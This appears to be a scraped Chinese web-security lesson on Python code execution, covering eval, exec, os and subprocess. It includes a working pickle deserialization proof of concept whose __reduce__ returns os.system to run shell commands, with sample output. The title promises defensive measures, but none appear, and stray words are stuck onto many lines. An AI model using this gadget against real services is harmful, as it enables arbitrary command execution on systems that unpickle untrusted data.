風炫安全web安全學習第三十二節課 Python代碼執行以及代碼防護措施

風炫安全web安全學習第三十二節課 Python代碼執行以及代碼防護措施python

Python 語言可能發生的命令執行漏洞

  • 內置危險函數
eval和exec函數

evalweb

eval是一個python內置函數,語法爲eval(expression, globals=None,locals=None)shell

eval函數接收三個參數:其中 expression
參數是用作運算的字符串類型表達式;globals參數用於指定運行時的全局命名空間;Locals參數用於指定運行時的局部命名空間。globals與 locals 是可選參數,默認值是 None,他們只在運算時起做用,運算後則銷燬。express

exec安全

在Python2中exec是一個內置語句(statement)而不是一個函數,可是到了Python3中exec將Python2中做爲內置語句的exec和execfile()函數功能整合到一塊兒,成爲了一個新的函數,語法爲exec(object[, globals[,locals]])ide

exec的第一個參數能夠是code object,所以它能夠執行復雜的代碼邏輯,例如變量賦值操做等,這一點是eval作不到的。但exec返回值永遠爲 None,所以exec不能像eval同樣將計算結果返回。exec的後兩個參數與eval一致函數

  • 標準庫危險模塊web安全

    os
    subprocess
  • 反序列化:學習

    pickle和cpickleui

    pickle.loads

>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0
import cPickle
import os
import urllib

class genpoc(object):
    def __reduce__(self):
        s = """ls /"""  #要執行的命令
        return os.system, (s,)        #os.system("echo test >poc.txt")

e = genpoc()
poc = cPickle.dumps(e)

print poc
print urllib.quote(poc)
fp = open("poc.pickle","w")
fp.write(poc) # 生成 pickle文件

-----------------------
import pickle

pickle.load(open('./poc.pickle'))

參考:
http://blog.evalshell.com/2020/12/20/風炫安全web安全學習第三十二節課-python代碼執行以及代/

相關文章
相關標籤/搜索